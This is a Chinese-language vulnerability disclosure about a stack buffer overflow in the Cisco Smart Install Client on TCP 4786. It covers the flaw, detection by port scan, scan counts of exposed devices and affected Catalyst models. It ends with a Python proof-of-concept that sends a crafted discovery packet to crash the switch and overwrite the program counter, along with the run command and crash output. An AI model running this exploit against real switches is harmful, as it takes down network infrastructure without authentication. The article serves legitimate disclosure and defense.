导语:本文介绍了 Cisco Smart Install Client 栈缓冲区溢出漏洞的基本情况、如何检测以及受影响设备和范围,并提供了一个PoC。

一、简介

· 应用: Cisco IOS, Cisco IOS-XE

· 厂商: Cisco

· 漏洞: 栈缓冲区溢出[CWE-20][CWE-121]

· 风险:严重;V:N/AC:L/Au:N/C:C/I:C/A:C (10.0)

Smart Install Client代码中发现了栈缓冲区溢出漏洞,此漏洞可使攻击者无需身份验证即可远程执行任意代码。因此它可以完全控制存在漏洞的网络设备。

Smart Install是即插即用的配置和镜像管理功能,为新型交换机提供零接触部署。它使初始配置过程自动化,并为新的网络交换机加载当前操作系统镜像。这意味着您可以将交换机运送到某个位置,将其置于网络中,并在没有管理员的情况下启动设备上而无需进行配置。该技术还可在配置发生变化时以及热插拔损坏的设备提供备份。

使用Smart Install的网络包括一组网络设备(称为客户端),由一个通用的3层交换机或充当director的路由器提供服务。

director为客户端交换机的镜像和配置提供单一管理点。客户端交换机与director有直接或间接的连接,以便他们可以从中接收镜像和配置下载。

有关智能安装技术的更多信息可在官方文档中找到。

该漏洞位于Smart Install Client的代码中。

需要注意的是,该技术要求默认情况下在客户端上启用。这一事实影响了漏洞的覆盖范围和影响,但更多的则在下面。

二、漏洞描述

SMI IBC Server Process进程包含Smart Install Client实施代码。Smart Install Client在TCP(4786)端口(默认打开)上启动服务器以与Smart Install Director进行交互。

当此服务器处理特制恶意消息ibd_init_discovery_msg时,会发生栈缓冲区溢出。

更确切地说,缓冲区溢出发生在函数smi_ibc_handle_ibd_init_discovery_msg,因为未检查复制到固定大小缓冲区的数据大小。大小和数据直接从网络数据包中获取并由攻击者控制。

三、GeekPWN 2017香港站

此漏洞在成功利用后得到了GeekPWN 2017香港G-Influence奖。

关于GeekPwn。作为网络安全研究人员的全球领先平台之一,GeekPwn让世界各地的安全研究人员和管理人员分享他们的想法和发现。自2014年起,GeekPwn在北京,上海,澳门,香港和硅谷成功举办了8场会议,并负责任的披露了数百个重要安全漏洞,并向参赛者颁发了数百万美元奖金。

根据比赛条款,有必要攻击Cisco Catalyst 2960 交换机并满足两个条件:

1.重置或更改enable密码进入特权执行模式:

2.拦截连接到交换机和Internet的其他设备之间的流量:

更多有关此漏洞利用技术和方法的详细信息可在我们的研究“How To Cook Cisco”中找到。

四、如何检查设备是否存在漏洞

如果思科网络设备开放TCP 4786端口,则存在漏洞。为了找到这样的设备,只需扫描网络。

nmap -p T:4786 192.168.1.0/24

要检查网络设备是否为Smart Install Client类型,请输入以下命令:

switch>show vstack config Role: Client (SmartInstall enabled) Vstack Director IP address: 0.0.0.0switch>show tcp brief allTCB       Local Address           Foreign Address
        (state)0344B794  *.4786                  *.*                    LISTEN0350A018  *.443                   *.*
                    LISTEN03293634  *.443                   *.*
                    LISTEN03292D9C  *.80                    *.*                    LISTEN03292504  *.80                    *.*                    LISTEN

五、互联网扫瞄结果

在发现漏洞后,我们认定它只能用于企业网络内的攻击。由于在安全配置的网络中,Smart Install技术参与者不应通过Internet访问。

但是互联网扫描表明这并不属实。

在对互联网进行短暂扫描期间,我们检测到250,000个存在漏洞的设备和8,500,000个存在漏洞端口的设备。

这种情况发生的可能原因是,在Smart Install客户端上默认打开端口TCP(4786),网络管理员没有注意到这一点。

六、受影响的硬件/软件

以下设备上存在该漏洞:Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches.

· Cisco Catalyst 4500 Supervisor Engine 6L-E

o Cisco IOS 15.2.2E6 (Latest, Suggested)

§ cat4500e-entservicesk9-mz.152-2.E6.bin (23-DEC-2016)

· Cisco Catalyst 2960-48TT-L Switch

o Cisco IOS 12.2(55)SE11 (Suggested)

§ c2960-lanbasek9-mz.122-55.SE11.bin (18-AUG-2016)

o Cisco IOS 15.0.2-SE10a (Latest)

§ c2960-lanbasek9-mz.150-2.SE10a.bin (10-NOV-2016)

· Cisco Catalyst 3850-24P-E Switch

o Cisco IOS-XE 03.03.05.SE

§ cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin (03-NOV-2014)

而且,所有可能属于Smart Install客户端类型的设备都可能受到攻击。这是他们的列表:

· Catalyst 4500 Supervisor Engines

· Catalyst 3850 Series

· Catalyst 3750 Series

· Catalyst 3650 Series

· Catalyst 3560 Series

· Catalyst 2960 Series

· Catalyst 2975 Series

· IE 2000

· IE 3000

· IE 3010

· IE 4000

· IE 4010

· IE 5000

· SM-ES2 SKUs

· SM-ES3 SKUs

· NME-16ES-1G-P

· SM-X-ES3 SKUs

更多信息,请查看:

· Cisco Security Advisory

· Cisco Feature Navigator

· Supported Devices for Smart Install

七、PoC

# smi_ibc_init_discovery_BoF.pyimport socket import struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):     return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet):     sock.send(packet)   def receive(sock):      return sock.recv() if __name__ == "__main__":      print "[*] Connecting to Smart Install Client ", options.target, "port", options.port      con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     con.connect((options.target, options.port))      payload = 'BBBB' * 44  shellcode = 'D' * 2048      data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload      tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode      hdr =  '\x00\x00\x00\x01'                                   # msg_from    hdr += '\x00\x00\x00\x01'                                   # version    hdr += '\x00\x00\x00\x07'                                   # msg_hdr_type    hdr += struct.pack('>I', len(data))                         # data_length     pkt = hdr + tlv_1 + tlv_2      print "[*] Send a malicious packet"      send_packet(con, pkt)

要攻击交换机,请运行以下命令:

host$ ./smi_ibc_init_discovery_BoF.py  -t 192.168.1.1

交换机应打印崩溃信息并重新启动:

00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240-Traceback= 42424240Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:...Queued messages:Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE(fc3)Technical Support: http://www.cisco.com/techsupportCopyright (c) 1986-2016 by Cisco Systems, Inc.Compiled Wed 17-Aug-16 13:46 by prod_rel_teamInstruction TLB Miss Exception (0x1200)!SRR0 = 0x42424240  SRR1 = 0x00029230  SRR2 = 0x0152ACE4  SRR3 = 0x00029230ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x84000000  DBSR = 0x00000000CPU Register Context:Vector = 0x00001200  PC = 0x42424240  MSR = 0x00029230  CR = 0x33000053LR = 0x42424242  CTR = 0x014D5268  XER = 0xC000006AR0 = 0x42424242  R1 = 0x02B1B0B0  R2 = 0x00000000  R3 = 0x032D12B4R4 = 0x000000B6  R5 = 0x0000001E  R6 = 0xAA3BEC00  R7 = 0x00000014R8 = 0x0000001E  R9 = 0x00000000  R10 = 0x001BA800  R11 = 0xFFFFFFFFR12 = 0x00000000  R13 = 0x00110000  R14 = 0x0131E1A8  R15 = 0x02B1B1A8R16 = 0x02B1B128  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x02B1B128R20 = 0x02B1B128  R21 = 0x00000001  R22 = 0x02B1B128  R23 = 0x02B1B1A8R24 = 0x00000001  R25 = 0x00000000  R26 = 0x42424242  R27 = 0x42424242R28 = 0x42424242  R29 = 0x42424242  R30 = 0x42424242  R31 = 0x42424242Stack trace:PC = 0x42424240, SP = 0x02B1B0B0Frame 00: SP = 0x42424242    PC = 0x42424242

源链接

Hacking more

...